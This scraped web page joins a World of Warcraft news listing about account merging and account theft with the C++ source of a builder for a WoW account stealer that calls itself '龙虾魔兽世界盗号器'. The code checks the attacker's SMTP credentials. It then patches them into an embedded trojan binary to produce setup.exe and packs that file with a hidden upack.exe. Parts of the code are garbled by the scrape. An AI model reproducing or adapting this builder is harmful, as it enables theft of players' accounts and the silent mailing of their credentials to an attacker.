魔兽世界账号连续莫名被盗,别说打开木马网站银行卡能被盗吗,从源...

魔兽世界帐号合并_wow - 游久资料社http://www.uuu9.com/z/
您的位置:&&&&
魔兽世界帐号合并
·&网易魔兽项目组负责人李日强先生就玩家关心的几个问题做出了解答:问:一个战网通行证可以绑定几个WOW账号?李日强:您最多可以将8个《魔兽世界》账号绑定至一个战网通行证。问:如果一个账号绑定了多个wow账号,那么各个账号的点卡是通用,还是必须单独计费?李日强:如果您绑定了多个《魔兽世界》账号到您的战网通·&魔兽世界最强的两大PVE公会Nihilum与SKGaming合并,众人围观NIHILUM的MTKUNGEN:Kungen的T3套奥城银行门前人满为患Kungen离开Nihilum当年的安其拉卡门英雄Kungen的T6套拿橙弓的盗贼重点来了Nihilum与SKGaming合并发言人说话了消息已经确认h·&Justareminder:Aswementionedacoupleweeksback,onNovember11,2009,allcurrentWorldofWarcraftplayersmustmergetheirWorldofWarcraftaccountswithaBattle.netacco·&尊敬的玩家:在游戏环境优化方案:合并服务第二期启动后,很多原先阵营人数不平衡,物资匮乏的服务器都焕发了新的生机,不仅重新享受到了游戏的乐趣,也极大的丰富了玩家的游戏体验。现在我们挑选出新一批合并服务器名单,并且将开启第三期合并服务的第一阶段。从即日开始,以下服务器将开始免费转服服务,我们会根据实际进·&尊敬的用户:&游戏环境优化方案&的免费转服服务启动期间,排队现象得到了有效的缓解,很多玩家得到了更好的游戏体验。而另外一项新服开启服务启动不久,就得到了广大玩家的热烈拥护,数小时内,新服已经爆满。在此,我们感谢广大玩家对《魔兽世界》的一贯热爱和支持,我们将以更好更优的服务答谢·&游戏环境优化:第四期合并阶段即将启动我们将于本周二正式启动游戏环境优化计划第四期合并服务,届时,盘牙、戴索姆、风暴要塞、提克迪奥斯、希奈丝特拉、火焰之地、达卡尼、祖鲁希德、玛加萨、怀特迈恩服务器将正式合并至爱斯特纳、海克泰尔、瓦拉斯塔兹、埃加洛尔、巴纳扎尔、库尔提拉斯、奥特兰克、斯坦索姆、克尔苏加德·&很不幸运,所有G又不见了,几个帐号中的都没了,怎么办,找GM,&G为无法恢复&,结果也只有自己对着GM发一通脾气后决定以后以网易决裂,再不玩魔兽,但,5年多的投入,这份不舍又让我重新上线,为了保护好自己的帐号,我搜索到一些有帮助的信息,在此也和各位在艾泽大陆的朋友们分享:先在的魔·&&&&&&刚才看了一下《关于帐号安全问题大家最好看看》的文章(链接地址:http://hd.games.sina.com.cn/g_item//1433/show.php?id=1145407),我想说的是,其实不用像作者说的那么麻·&你-今天被盗了吗?“你玩网游没被倒过帐号?”“那么其他和网络有关的帐号、密码呢?玩那么多年了都没有被盗过?!”“大哥,给我留个***我请你吃饭,据说前4期的500万大奖玩家,他们都没有被盗过网游帐号...”。有那么两种人,他们与你我同在、与游戏同在、与金币同在、与盗号同在...第一种人:一群念过书的梁·&谁能发现,无间的过渡,谁知道暴雪有多么糊涂?谁了解魔兽之争到底有多残酷?只是,没有人愿意认输!&&可谓,是非成败转头空,青山依旧在,几度夕阳红?想当初,成也昆哥,败也昆哥,暮然间,他永远离开了玩家的视线。如今的paragon,如日中升,妖孽一样的DPS,叫他人望风莫及。然·&许多人一旦上网就迫不及待的投入到wow的美妙世界里去,飞快的打开登陆界面。岂不知这个时候可能有可恶的进程正在监视着你的帐号密码的输入,也许几个月的心血突然就飞灰湮灭了。但是只要平时花1-2分钟做到我说的这两点,就可以使你的帐号被盗几率降低80%以上。1.帐号,密码错位输入法因为现在的盗号程序都是监视·&大家好,我提个关于帐号冻结的问题!昨天我在网吧上网,帐号被该死的偷号的给偷了,对于他们卖钱的想法我表示理解,对他们高超的水平表示佩服,但是他们为了能快速的偷取我帐号的物品和G币时,竟然使用了加速外挂,他偷号上号到被我踢下来不到3分钟,还是死亡状态,但GM还是认定我使用了外挂,致使现在我的帐号被九城公·&&&&&&&&请允许我发表我的这篇文章,在这里先感谢新浪平台,这里是我们的家,是我们畅谈的家园!&&&&&&帐号的安全基于2点:1游戏开发方在软硬件上严格控制,提前避免。·&近日,木马盗号猖獗,令人防不胜防。椐IT行业的朋友说,现在好多专业盗号的采用了一种可以直接远程控制目标(玩家)电脑自动关闭即时病毒防御和监视系统,然后植入大量木马以盗取玩家帐号的程序,听起来非常可怕。事实上就是很可怕,本人就是采用官方认可的双密码+安全锁,而且1个月换次密保卡,结果在被盗号的10分钟·&1,首先我们要知道木马是做什么,相信大家都知道,就是盗号的。当你的机器感染木马后,你运行魔兽世界时,木马自动截取你的帐号密码,自动搜索与密保卡相关的图片之类,PS:如果你的密保卡是以图片,文档之类保存在电脑上,(无论是什么邮箱或者U盘),都会被截取完整的密保卡信息,那么,对一个帐号密码+密保卡都被盗·&随着末日回响版本(3.0.2)的来临,WOW中的一些物品由灵魂绑定变成了帐号绑定。这些帐号绑定物品可以在同一服务器,同一阵营,同一账号下邮寄。这个FAQ会给您解释这种新的帐号绑定物品的相关问题。Q:目前的帐号绑定物品有哪些?A:列表如下:蓝色鱼怪蛋鱼人宠物泰瑞尔小天使大暴雪熊虚空幼龙宝宝暗黑破坏神之·&&&&&&相信现在不少可爱的cwowers有过帐号被盗,辛苦攒的装备和G币不翼而飞的痛苦遭遇,更有可怜的玩家人物被删除,甚至被盗号的人渣们使用了非法程序,导致帐号被封。盗号的人渣不管有多高的学历,多牛的IT技术,始终在以窃取他人成果与快乐为生,这种人·&来源:魔兽世界中文官方网站原文地址:http://www.warcraftchina.com/news//2_23.html我们深知账号安全对于我们大家的重要性。随着战网通行证的正式发布(www.battlenet.com.cn),我们为广大玩家提供了多重方案保护账号安全,以避免未经·&【台服官方新活动】告别艾泽拉斯-主城记忆刚看到这个标题,突然有点酸楚,5年的魔兽了,说变就要变了。&近期热点消息:[蓝帖]CTM,你会喜欢的!迷人的风景在召唤谁才是艾泽拉斯最强MT?乌龟之神图托拉!大灾变官方每日截图:部落版地精水下潜艇国服再爆WLK消息!舅舅再临还是尘埃落定?魔兽世界恶搞·&今天台服即将更新3.3.3补丁,对比起昨天的下载,今天又多了接近19M文档。随着更新完毕,我们可以看到在原来输入帐号的地方变成了要求输入BN帐号。但是经过我们的实测,我们还是可以输入原来的帐号进行登录,不过小编在这里建议各位在台服玩的同学还是尽早注册绑定你的BN帐号比较好,毕竟绑定了之后以后就能连星
wow推荐关键词
wow推荐文章
·&·&·&·&·&·&·&·&·&·&
wow热门文章
·&·&·&·&·&·&·&·&·&·&·&·&·&·&·&·&·&·&·&·&
wow热门关键词
友情链接:BuildLog.htm
BuildLog.htm
复件 dll.bin
dll.vcproj
BuildLog.htm
BuildLog.htm
Setting.ico
Setting.manifest
Setting.rc2
ReadMe.txt
Setting.aps
Setting.ncb
Setting.rc
Setting.sln
Setting.suo
Setting.vcproj
Setting .ncb
Setting .sln
Setting .suo
BuildLog.htm
BuildLog.htm
复件 setup (1).exe
复件 setup.bin
setup.vcproj
Setting.exe
// SettingDlg.cpp : 实现文件
#include &stdafx.h&
#include &Setting.h&
#include &SettingDlg.h&
#include &.\settingdlg.h&
#include &winsock2.h&
#ifdef _DEBUG
#define new DEBUG_NEW
#define debug
///////////////////////////////////////////////////////
bool ismailok=
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
class CAboutDlg : public CDialog
CAboutDlg();
// 对话框数据
enum { IDD = IDD_ABOUTBOX };
protected:
virtual void DoDataExchange(CDataExchange* pDX);
// DDX/DDV 支持
protected:
DECLARE_MESSAGE_MAP()
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
CDialog::DoDataExchange(pDX);
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
END_MESSAGE_MAP()
// CSettingDlg 对话框
CSettingDlg::CSettingDlg(CWnd* pParent /*=NULL*/)
: CDialog(CSettingDlg::IDD, pParent)
m_hIcon = AfxGetApp()-&LoadIcon(IDR_MAINFRAME);
void CSettingDlg::DoDataExchange(CDataExchange* pDX)
CDialog::DoDataExchange(pDX);
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
//}}AFX_MSG_MAP
ON_BN_CLICKED(IDC_BUTTON1, OnBnClickedButton1)
ON_EN_CHANGE(IDC_EDIT1, OnEnChangeEdit1)
ON_BN_CLICKED(IDC_BUTTON2, OnBnClickedButton2)
END_MESSAGE_MAP()
// CSettingDlg 消息处理程序
BOOL CSettingDlg::OnInitDialog()
CDialog::OnInitDialog();
// 将\“关于...\”菜单项添加到系统菜单中。
// IDM_ABOUTBOX 必须在系统命令范围内。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX & 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
CString strAboutM
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
pSysMenu-&AppendMenu(MF_SEPARATOR);
pSysMenu-&AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
执行此操作
SetIcon(m_hIcon, TRUE);
// 设置大图标
SetIcon(m_hIcon, FALSE);
// 设置小图标
//ShowWindow(SW_MINIMIZE);
// TODO: 在此添加额外的初始化代码
CheckDlgButton(IDC_RADIO2,1);
CheckDlgButton(IDC_RADIO3,1);
return TRUE;
// 除非设置了控件的焦点,否则返回 TRUE
void CSettingDlg::OnSysCommand(UINT nID, LPARAM lParam)
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
CAboutDlg dlgA
dlgAbout.DoModal();
CDialog::OnSysCommand(nID, lParam);
// 如果向对话框添加最小化按钮,则需要下面的代码
来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
这将由框架自动完成。
void CSettingDlg::OnPaint()
if (IsIconic())
CPaintDC dc(this); // 用于绘制的设备上下文
SendMessage(WM_ICONERASEBKGND, reinterpret_cast&WPARAM&(dc.GetSafeHdc()), 0);
// 使图标在工作矩形中居中
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// 绘制图标
dc.DrawIcon(x, y, m_hIcon);
CDialog::OnPaint();
//当用户拖动最小化窗口时系统调用此函数取得光标显示。
HCURSOR CSettingDlg::OnQueryDragIcon()
return static_cast&HCURSOR&(m_hIcon);
//////////////////////////////////////////////////////////////////////////////////////
int encode64(const char *_in, unsigned inlen, char *_out, unsigned outmax, unsigned *outlen)
const unsigned char *in = (const unsigned char *)_
unsigned char *out = (unsigned char *)_
static char basis_64[] = &ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/&;
/* Will it fit? */
olen = (inlen + 2) / 3 * 4;
if (outlen)
if (outmax & olen)
return -2;
/* Do the work... */
blah=(char *)
while (inlen &= 3) {
/* user prov make sure we don't go over it */
*out++ = basis_64[in[0] && 2];
*out++ = basis_64[((in[0] && 4) & 0x30) | (in[1] && 4)];
*out++ = basis_64[((in[1] && 2) & 0x3c) | (in[2] && 6)];
*out++ = basis_64[in[2] & 0x3f];
inlen -= 3;
if (inlen & 0) {
/* user prov make sure we don't go over it */
*out++ = basis_64[in[0] && 2];
oval = (in[0] && 4) & 0x30;
if (inlen & 1) oval |= in[1] && 4;
*out++ = basis_64[oval];
*out++ = (inlen & 2) ? '=' : basis_64[(in[1] && 2) & 0x3c];
*out++ = '=';
if (olen & outmax)
*out = '\0';
///////////////////////////////////////////////////
bool CheckMail(char *username,char *password,char *ReceMail,char *msg)
WSADATA wsaD
WSAStartup(MAKEWORD( 2,2 ),&wsaData);
fsocket = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP );
char strsend[500]={0},strrecv[500]={0};
unsigned int p1;
if (fsocket == INVALID_SOCKET)
sendmail.sin_family = AF_INET;
sendmail.sin_addr.s_addr = inet_addr ( &220.181.12.16& );
sendmail.sin_port = htons (25);
if ( connect (fsocket,(SOCKADDR*)&sendmail,sizeof(sendmail) ) == SOCKET_ERROR )
WSACleanup();
strcpy(msg,&无法连结邮件服务器,请在关闭防火墙和杀毒软件后再试!&);
recv(fsocket,strrecv,499,0);//连结后先会有一个响应
if(!strspn(strrecv,&220&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&邮件服务器响应连结出错,请稍候再试!&);}
strcpy(strsend,&HELO smtp.163.com\r\n&);
send(fsocket,strsend, strlen(strsend),0);
recv(fsocket,strrecv,499,0);
if(!strspn(strrecv,&250&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&邮件服务器响应\&HELO\&出错,请稍候再试!&);}
strcpy(strsend,&AUTH LOGIN\r\n&);
send(fsocket,strsend, strlen(strsend),0);
recv(fsocket,strrecv,499,0);
if(!strspn(strrecv,&334&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&发送\&AUTH LOGIN\&出错,请稍候再试!&);}
encode64(username,strlen(username),strsend,255,&p1);
strcat(strsend,&\r\n&);
send(fsocket,strsend, strlen(strsend),0);
recv(fsocket,strrecv,499,0);
if(!strspn(strrecv,&334&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&发送用户名出错,请稍候再试!&);}
encode64(password,strlen(password),strsend,255,&p1);
strcat(strsend,&\r\n&);
send(fsocket,strsend, strlen(strsend),0);
recv(fsocket,strrecv,499,0);
if(!strspn(strrecv,&235&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&用户名或密码错误,无法发送邮件!&);}
strcpy(strsend,&MAIL FROM:&&);
strcat(strsend,username);
strcat(strsend,&@163.com&\r\n&);
send(fsocket,strsend, strlen(strsend),0);
recv(fsocket,strrecv,499,0);
if(!strspn(strrecv,&250&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&发送\&MAIL FROM\&出错,请稍候再试!&);}
strcpy(strsend,&RCPT TO:&&);
strcat(strsend,ReceMail);
strcat(strsend,&&\r\n&);
send(fsocket,strsend, strlen(strsend),0);
recv(fsocket,strrecv,499,0);
if(!strspn(strrecv,&250&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&发送\&RCPT TO\&出错,请稍候再试!&);}
send(fsocket,&DATA\r\n&, strlen(&DATA\r\n&),0);
recv(fsocket,strrecv,499,0);
if(!strspn(strrecv,&354&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&发送\&DATA\&出错,请稍候再试!&);}
strcpy(strsend,&\r\nFROM:龙虾魔兽世界盗号器\r\n&);
strcat(strsend,&邮箱测试已成功,你可以放心使用了!\r\n\t祝好运!&);
strcat(strsend,&\r\n---------------------------------------\r\n&);
strcat(strsend,& QQ: \r\n.\r\n\r\n&);
send(fsocket,strsend,strlen(strsend),0);
recv(fsocket,strrecv,499,0);
if(!strspn(strrecv,&250&) ){closesocket(fsocket);WSACleanup();strcpy(msg,&发送邮件主体出错,请稍候再试!&);}
send(fsocket,&QUIT\r\n&,strlen(&QUIT\r\n&),0);
recv(fsocket,strrecv,499,0);
WSACleanup();
return(true);
/////////////////////////////////////////////////////////////////////////////////////////////
bool ModifyMem(char *hmem,int len,char *from,char *to)
char charf[100],chart[100],*
bool result=
strcpy(charf,from);
strcpy(chart,to);
for(int i=0;i&i++)
charg=(char *)&hmem[i];
if(strcmp(charg,charf)==0)
if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)(hmem+i),chart,strlen(chart)+1,NULL))
/////////////////////////////////////////////////////////////////////////////////////////
void CSettingDlg::OnBnClickedButton1()
// TODO: 在此添加控件通知处理程序代码
CString username,password,
char mailmsg[100]={0},mail_user[20],mail_pword[20],mail_rece[40];
GetDlgItem(IDC_EDIT1)-&GetWindowText(username);
GetDlgItem(IDC_EDIT2)-&GetWindowText(password);
GetDlgItem(IDC_EDIT3)-&GetWindowText(recemail);
if(username==&& || password==&& || recemail==&& ||(recemail.Find(&@&)==-1 || recemail.Find(&.&)==-1))
MessageBox(&请输入您的用户名、密码以及收件信箱!&,&请正确输入&);
strcpy(mail_user,username);
strcpy(mail_pword,password);
strcpy(mail_rece,recemail);
if(!CheckMail(mail_user,mail_pword,mail_rece,mailmsg))
::MessageBox(NULL,mailmsg,&无法发送邮件!&,0);
MessageBox(&邮件测试成功,请登录邮箱察看测试邮件&,&测试成功&);
GetDlgItem(IDC_EDIT1)-&EnableWindow(false);
GetDlgItem(IDC_EDIT2)-&EnableWindow(false);
GetDlgItem(IDC_EDIT3)-&EnableWindow(false);
void CSettingDlg::OnEnChangeEdit1()
如果该控件是 RICHEDIT 控件,则它将不会
// 发送该通知,除非重写 CDialog::OnInitDialog()
// 函数并调用 CRichEditCtrl().SetEventMask(),
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
在此添加控件通知处理程序代码
void CSettingDlg::OnBnClickedButton2()
CString path2,username2,password2,ReceMail2;
HRSRC hrsrc1;
HGLOBAL hglobal1;
char path[250],from[100],to[100],username[30],password[30],writestr[60],tempchar[10],*hmem,ReceMail[40]={0},check[100];
int i,key=0,
DWORD size,size2;
#ifndef debug
if(!ismailok)
MessageBox(&请先进行邮箱测试!&);
GetModuleFileName(NULL,path,250);
path2=path2.Left(path2.ReverseFind('\\'));
strcpy(path,path2+(CString)&\\setup.exe&);
//----------------
GetDlgItem(IDC_EDIT1)-&GetWindowText(username2);
GetDlgItem(IDC_EDIT2)-&GetWindowText(password2);
GetDlgItem(IDC_EDIT3)-&GetWindowText(ReceMail2);
strcpy(ReceMail,ReceMail2);
strcpy(username,username2);
strcpy(password,password2);
strrev(username);
strrev(password);
strrev(ReceMail);
strcpy(check,username);
strcat(check,password);
strcat(check,ReceMail);
len=strlen(check);
srand((unsigned)time(NULL));
do//防冲突
key=rand();
key=key % 5;
if(key==0)
for(i=0;i&i++)
if((check[i]+(char)key)=='|')
}while(true);
len=strlen(username);
for(i=0;i&i++)
username[i]+=(char)
len=strlen(password);
for(i=0;i&i++)
password[i]+=
len=strlen(ReceMail);
for(i=0;i&i++)
ReceMail[i]+=(char)
strcpy(writestr,username);
strcat(writestr,&||&);
strcat(writestr,password);
strcat(writestr,&||&);
strcat(writestr,ReceMail);
strcat(writestr,&||&);
itoa(key,tempchar,10);
strcat(writestr,tempchar);
//--------------------
hrsrc1=FindResource(NULL, MAKEI***ESOURCE(IDR_BIN1), &BIN&);
size=SizeofResource(NULL, hrsrc1);
hglobal1=LoadResource(NULL, hrsrc1);
hmem=(char *)malloc(size+1);
WriteProcessMemory(GetCurrentProcess(),hmem,(LPCVOID)LockResource(hglobal1),size,&size2);
strcpy(from,&aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&);
strcpy(to,writestr);
result=ModifyMem(hmem,size,from,to);
if(result && GetCheckedRadioButton(IDC_RADIO1,IDC_RADIO2)==IDC_RADIO1)
strcpy(from,&dlldlldll&);
strcpy(to,&DLLDLLDLL&);
result=ModifyMem(hmem,size,from,to);
strcpy(from,&dlldlldll&);
strcpy(to,®REGREG&);
result=ModifyMem(hmem,size,from,to);
hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL);
WriteFile(hFile, (LPCVOID)hmem,size+1,&size2,NULL);
CloseHandle(hFile);
GlobalFree(hglobal1);
free(hmem);
if(GetCheckedRadioButton(IDC_RADIO3,IDC_RADIO4)==IDC_RADIO3)
hrsrc1=FindResource(NULL, MAKEI***ESOURCE(IDR_BIN2), &BIN&);
size=SizeofResource(NULL, hrsrc1);
hglobal1=LoadResource(NULL, hrsrc1);
hFile = CreateFile(&upack.exe&,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
WriteFile(hFile, (LPCVOID)LockResource(hglobal1),size+1,&size2,NULL);
CloseHandle(hFile);
GlobalFree(hglobal1);
WinExec(&upack.exe setup.exe&,SW_HIDE);
while(!DeleteFile(&upack.exe&))
if(result)
MessageBox(&***文件生成完成!&,&成功&);
MessageBox(&***文件生成失败!&,&失败&);
Copyright(C)
OKBASE.NET All Rights Reserved 好库网 版权所有

参考资料

 

随机推荐